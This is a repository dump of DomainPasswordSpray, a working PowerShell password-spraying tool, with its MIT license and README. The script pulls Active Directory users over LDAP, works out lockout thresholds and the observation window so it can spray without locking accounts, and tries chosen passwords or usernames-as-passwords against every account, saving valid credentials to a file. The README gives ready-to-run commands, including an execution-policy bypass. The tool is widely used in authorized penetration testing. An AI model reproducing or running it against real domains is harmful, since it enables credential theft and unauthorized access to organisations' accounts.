├── DomainPasswordSpray.ps1 ├── LICENSE └── README.md /DomainPasswordSpray.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DomainPasswordSpray{ 2 | <# 3 | .SYNOPSIS 4 | 5 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 6 | 7 | DomainPasswordSpray Function: Invoke-DomainPasswordSpray 8 | Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 16 | 17 | .PARAMETER UserList 18 | 19 | Optional UserList parameter. This will be generated automatically if not specified. 20 | 21 | .PARAMETER Password 22 | 23 | A single password that will be used to perform the password spray. 24 | 25 | .PARAMETER PasswordList 26 | 27 | A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). 28 | 29 | .PARAMETER OutFile 30 | 31 | A file to output the results to. 32 | 33 | .PARAMETER Domain 34 | 35 | The domain to spray against. 36 | 37 | .PARAMETER Filter 38 | 39 | Custom LDAP filter for users, e.g. "(description=*admin*)" 40 | 41 | .PARAMETER Force 42 | 43 | Forces the spray to continue and doesn't prompt for confirmation. 44 | 45 | .PARAMETER Fudge 46 | 47 | Extra wait time between each round of tests (seconds). 48 | 49 | .PARAMETER Quiet 50 | 51 | Less output so it will work better with things like Cobalt Strike 52 | 53 | .PARAMETER UsernameAsPassword 54 | 55 | For each user, will try that user's name as their password 56 | 57 | .EXAMPLE 58 | 59 | C:\PS> Invoke-DomainPasswordSpray -Password Winter2016 60 | 61 | Description 62 | ----------- 63 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016. 64 | 65 | .EXAMPLE 66 | 67 | C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt 68 | 69 | Description 70 | ----------- 71 | This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window. 72 | 73 | .EXAMPLE 74 | 75 | C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt 76 | 77 | Description 78 | ----------- 79 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt 80 | 81 | #> 82 | param( 83 | [Parameter(Position = 0, Mandatory = $false)] 84 | [string] 85 | $UserList = "", 86 | 87 | [Parameter(Position = 1, Mandatory = $false)] 88 | [string] 89 | $Password, 90 | 91 | [Parameter(Position = 2, Mandatory = $false)] 92 | [string] 93 | $PasswordList, 94 | 95 | [Parameter(Position = 3, Mandatory = $false)] 96 | [string] 97 | $OutFile, 98 | 99 | [Parameter(Position = 4, Mandatory = $false)] 100 | [string] 101 | $Filter = "", 102 | 103 | [Parameter(Position = 5, Mandatory = $false)] 104 | [string] 105 | $Domain = "", 106 | 107 | [Parameter(Position = 6, Mandatory = $false)] 108 | [switch] 109 | $Force, 110 | 111 | [Parameter(Position = 7, Mandatory = $false)] 112 | [switch] 113 | $UsernameAsPassword, 114 | 115 | [Parameter(Position = 8, Mandatory = $false)] 116 | [int] 117 | $Delay=0, 118 | 119 | [Parameter(Position = 9, Mandatory = $false)] 120 | $Jitter=0, 121 | 122 | [Parameter(Position = 10, Mandatory = $false)] 123 | [switch] 124 | $Quiet, 125 | 126 | [Parameter(Position = 11, Mandatory = $false)] 127 | [int] 128 | $Fudge=10 129 | ) 130 | 131 | if ($Password) 132 | { 133 | $Passwords = @($Password) 134 | } 135 | elseif($UsernameAsPassword) 136 | { 137 | $Passwords = "" 138 | } 139 | elseif($PasswordList) 140 | { 141 | $Passwords = Get-Content $PasswordList 142 | } 143 | else 144 | { 145 | Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified" 146 | break 147 | } 148 | 149 | try 150 | { 151 | if ($Domain -ne "") 152 | { 153 | # Using domain specified with -Domain option 154 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 155 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 156 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 157 | } 158 | else 159 | { 160 | # Trying to use the current user's domain 161 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 162 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 163 | } 164 | } 165 | catch 166 | { 167 | Write-Host -ForegroundColor "red" "[*] Could not connect to the domain. Try specifying the domain name with the -Domain option." 168 | break 169 | } 170 | 171 | if ($UserList -eq "") 172 | { 173 | $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter 174 | } 175 | else 176 | { 177 | # if a Userlist is specified use it and do not check for lockout thresholds 178 | Write-Host "[*] Using $UserList as userlist to spray with" 179 | Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold." 180 | $UserListArray = @() 181 | try 182 | { 183 | $UserListArray = Get-Content $UserList -ErrorAction stop 184 | } 185 | catch [Exception] 186 | { 187 | Write-Host -ForegroundColor "red" "$_.Exception" 188 | break 189 | } 190 | 191 | } 192 | 193 | 194 | if ($Passwords.count -gt 1) 195 | { 196 | Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!" 197 | } 198 | 199 | $observation_window = Get-ObservationWindow $CurrentDomain 200 | 201 | Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes." 202 | Write-Host "[*] Setting a $observation_window minute wait in between sprays." 203 | 204 | # if no force flag is set we will ask if the user is sure they want to spray 205 | if (!$Force) 206 | { 207 | $title = "Confirm Password Spray" 208 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" 209 | 210 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 211 | "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file." 212 | 213 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 214 | "Cancels the password spray." 215 | 216 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 217 | 218 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 219 | 220 | if ($result -ne 0) 221 | { 222 | Write-Host "Cancelling the password spray." 223 | break 224 | } 225 | } 226 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords" 227 | Write-Host "[*] This might take a while depending on the total number of users" 228 | 229 | if($UsernameAsPassword) 230 | { 231 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword -Quiet $Quiet 232 | } 233 | else 234 | { 235 | for($i = 0; $i -lt $Passwords.count; $i++) 236 | { 237 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter -Quiet $Quiet 238 | if (($i+1) -lt $Passwords.count) 239 | { 240 | Countdown-Timer -Seconds (60*$observation_window + $Fudge) -Quiet $Quiet 241 | } 242 | } 243 | } 244 | 245 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" 246 | if ($OutFile -ne "") 247 | { 248 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" 249 | } 250 | } 251 | 252 | function Countdown-Timer 253 | { 254 | param( 255 | $Seconds = 1800, 256 | $Message = "[*] Pausing to avoid account lockout.", 257 | [switch] $Quiet = $False 258 | ) 259 | if ($quiet) 260 | { 261 | Write-Host "${Message}: Waiting for $($Seconds/60) minutes. $($Seconds - $Count)" 262 | Start-Sleep -Seconds $Seconds 263 | } else { 264 | foreach ($Count in (1..$Seconds)) 265 | { 266 | Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100) 267 | Start-Sleep -Seconds 1 268 | } 269 | Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed 270 | } 271 | } 272 | 273 | function Get-DomainUserList 274 | { 275 | <# 276 | .SYNOPSIS 277 | 278 | This module gathers a userlist from the domain. 279 | 280 | DomainPasswordSpray Function: Get-DomainUserList 281 | Author: Beau Bullock (@dafthack) 282 | License: BSD 3-Clause 283 | Required Dependencies: None 284 | Optional Dependencies: None 285 | 286 | .DESCRIPTION 287 | 288 | This module gathers a userlist from the domain. 289 | 290 | .PARAMETER Domain 291 | 292 | The domain to spray against. 293 | 294 | .PARAMETER RemoveDisabled 295 | 296 | Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) 297 | 298 | .PARAMETER RemovePotentialLockouts 299 | 300 | Removes accounts within 1 attempt of locking out. 301 | 302 | .PARAMETER Filter 303 | 304 | Custom LDAP filter for users, e.g. "(description=*admin*)" 305 | 306 | .EXAMPLE 307 | 308 | PS C:\> Get-DomainUserList 309 | 310 | Description 311 | ----------- 312 | This command will gather a userlist from the domain including all samAccountType "805306368". 313 | 314 | .EXAMPLE 315 | 316 | C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt 317 | 318 | Description 319 | ----------- 320 | This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" 321 | 322 | #> 323 | param( 324 | [Parameter(Position = 0, Mandatory = $false)] 325 | [string] 326 | $Domain = "", 327 | 328 | [Parameter(Position = 1, Mandatory = $false)] 329 | [switch] 330 | $RemoveDisabled, 331 | 332 | [Parameter(Position = 2, Mandatory = $false)] 333 | [switch] 334 | $RemovePotentialLockouts, 335 | 336 | [Parameter(Position = 3, Mandatory = $false)] 337 | [string] 338 | $Filter 339 | ) 340 | 341 | try 342 | { 343 | if ($Domain -ne "") 344 | { 345 | # Using domain specified with -Domain option 346 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 347 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 348 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 349 | } 350 | else 351 | { 352 | # Trying to use the current user's domain 353 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 354 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 355 | } 356 | } 357 | catch 358 | { 359 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option." 360 | break 361 | } 362 | 363 | # Setting the current domain's account lockout threshold 364 | $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" 365 | $AccountLockoutThresholds = @() 366 | $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold 367 | 368 | # Getting the AD behavior version to determine if fine-grained password policies are possible 369 | $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0) 370 | if ($behaviorversion -ge 3) 371 | { 372 | # Determine if there are any fine-grained password policies 373 | Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy." 374 | $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher 375 | $ADSearcher.SearchRoot = $objDeDomain 376 | $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)" 377 | $PSOs = $ADSearcher.FindAll() 378 | 379 | if ( $PSOs.count -gt 0) 380 | { 381 | Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n") 382 | foreach($entry in $PSOs) 383 | { 384 | # Selecting the lockout threshold, min pwd length, and which 385 | # groups the fine-grained password policy applies to 386 | $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties 387 | $PSOPolicyName = $PSOFineGrainedPolicy.name 388 | $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold' 389 | $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto' 390 | $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength' 391 | # adding lockout threshold to array for use later to determine which is the lowest. 392 | $AccountLockoutThresholds += $PSOLockoutThreshold 393 | 394 | Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n" 395 | } 396 | } 397 | } 398 | 399 | $observation_window = Get-ObservationWindow $CurrentDomain 400 | 401 | # Generate a userlist from the domain 402 | # Selecting the lowest account lockout threshold in the domain to avoid 403 | # locking out any accounts. 404 | [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1 405 | Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..." 406 | 407 | if ($SmallestLockoutThreshold -eq "0") 408 | { 409 | Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy." 410 | } 411 | else 412 | { 413 | Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts." 414 | } 415 | 416 | $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain) 417 | $DirEntry = New-Object System.DirectoryServices.DirectoryEntry 418 | $UserSearcher.SearchRoot = $DirEntry 419 | 420 | $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null 421 | $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null 422 | $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null 423 | 424 | if ($RemoveDisabled) 425 | { 426 | Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list." 427 | # More precise LDAP filter UAC check for users that are disabled (Joff Thyer) 428 | # LDAP 1.2.840.113556.1.4.803 means bitwise & 429 | # uac 0x2 is ACCOUNTDISABLE 430 | # uac 0x10 is LOCKOUT 431 | # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ 432 | $UserSearcher.filter = 433 | "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" 434 | } 435 | else 436 | { 437 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)" 438 | } 439 | 440 | $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null 441 | $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null 442 | $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null 443 | $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Null 444 | 445 | #Write-Host $UserSearcher.filter 446 | 447 | # grab batches of 1000 in results 448 | $UserSearcher.PageSize = 1000 449 | $AllUserObjects = $UserSearcher.FindAll() 450 | Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.") 451 | $UserListArray = [System.Collections.Generic.List[String]]::new() 452 | 453 | if ($RemovePotentialLockouts) 454 | { 455 | Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list." 456 | foreach ($user in $AllUserObjects) 457 | { 458 | # Getting bad password counts and lst bad password time for each user 459 | $badcount = $user.Properties.badpwdcount 460 | $samaccountname = $user.Properties.samaccountname 461 | try 462 | { 463 | $badpasswordtime = $user.Properties.badpasswordtime[0] 464 | } 465 | catch 466 | { 467 | continue 468 | } 469 | $currenttime = Get-Date 470 | $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime) 471 | $timedifference = ($currenttime - $lastbadpwd).TotalMinutes 472 | 473 | if ($badcount) 474 | { 475 | [int]$userbadcount = [convert]::ToInt32($badcount, 10) 476 | $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount 477 | # if there is more than 1 attempt left before a user locks out 478 | # or if the time since the last failed login is greater than the domain 479 | # observation window add user to spray list 480 | if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1)) 481 | { 482 | $UserListArray.Add($samaccountname) 483 | } 484 | } 485 | } 486 | } 487 | else 488 | { 489 | foreach ($user in $AllUserObjects) 490 | { 491 | $samaccountname = $user.Properties.samaccountname 492 | $UserListArray.Add($samaccountname) 493 | } 494 | } 495 | 496 | Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain") 497 | return $UserListArray 498 | } 499 | 500 | function Invoke-SpraySinglePassword 501 | { 502 | param( 503 | [Parameter(Position=1)] 504 | $Domain, 505 | [Parameter(Position=2)] 506 | [string[]] 507 | $UserListArray, 508 | [Parameter(Position=3)] 509 | [string] 510 | $Password, 511 | [Parameter(Position=4)] 512 | [string] 513 | $OutFile, 514 | [Parameter(Position=5)] 515 | [int] 516 | $Delay=0, 517 | [Parameter(Position=6)] 518 | [double] 519 | $Jitter=0, 520 | [Parameter(Position=7)] 521 | [switch] 522 | $UsernameAsPassword, 523 | [Parameter(Position=7)] 524 | [switch] 525 | $Quiet 526 | ) 527 | $time = Get-Date 528 | $count = $UserListArray.count 529 | Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" 530 | $curr_user = 0 531 | if ($OutFile -ne ""-and -not $Quiet) 532 | { 533 | Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" 534 | } 535 | $RandNo = New-Object System.Random 536 | 537 | foreach ($User in $UserListArray) 538 | { 539 | if ($UsernameAsPassword) 540 | { 541 | $Password = $User 542 | } 543 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) 544 | if ($Domain_check.name -ne $null) 545 | { 546 | if ($OutFile -ne "") 547 | { 548 | Add-Content $OutFile $User`:$Password 549 | } 550 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" 551 | } 552 | $curr_user += 1 553 | if (-not $Quiet) 554 | { 555 | Write-Host -nonewline "$curr_user of $count users tested`r" 556 | } 557 | if ($Delay) 558 | { 559 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 560 | } 561 | } 562 | 563 | } 564 | 565 | function Get-ObservationWindow($DomainEntry) 566 | { 567 | # Get account lockout observation window to avoid running more than 1 568 | # password spray per observation window. 569 | $DomainEntry = [ADSI]$DomainEntry 570 | $lockObservationWindow_attr = $DomainEntry.Properties['lockoutObservationWindow'] 571 | $observation_window = $DomainEntry.ConvertLargeIntegerToInt64($lockObservationWindow_attr.Value) / -600000000 572 | return $observation_window 573 | } 574 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 dafthack 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DomainPasswordSpray 2 | DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! 3 | 4 | ## Quick Start Guide 5 | Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass'. 6 | 7 | Type 'Import-Module DomainPasswordSpray.ps1'. 8 | 9 | The only option necessary to perform a password spray is either -Password for a single password or -PasswordList to attempt multiple sprays. When using the -PasswordList option Invoke-DomainPasswordSpray will attempt to gather the account lockout observation window from the domain and limit sprays to one per observation window to avoid locking out accounts. 10 | 11 | The following command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Spring2017. 12 | ```PowerShell 13 | Invoke-DomainPasswordSpray -Password Spring2017 14 | ``` 15 | 16 | The following command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to one attempt during each window. The results of the spray will be output to a file called sprayed-creds.txt 17 | ```PowerShell 18 | Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt 19 | ``` 20 | 21 | ### Invoke-DomainPasswordSpray Options 22 | ``` 23 | UserList - Optional UserList parameter. This will be generated automatically if not specified. 24 | Password - A single password that will be used to perform the password spray. 25 | PasswordList - A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). 26 | OutFile - A file to output the results to. 27 | Domain - A domain to spray against. 28 | Force - Forces the spray to continue without prompting for confirmation. 29 | 30 | ``` 31 | ## Get-DomainUserList Module 32 | The function Get-DomainUserList allows you to generate a userlist from the domain. It has options to remove disabled accounts and those that are about to be locked out. This is performed automatically in DomainPasswordSpray if no user list is specified. 33 | 34 | This command will write the domain user list without disabled accounts or accounts about to be locked out to a file at "userlist.txt". 35 | ```PowerShell 36 | Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt 37 | ``` 38 | --------------------------------------------------------------------------------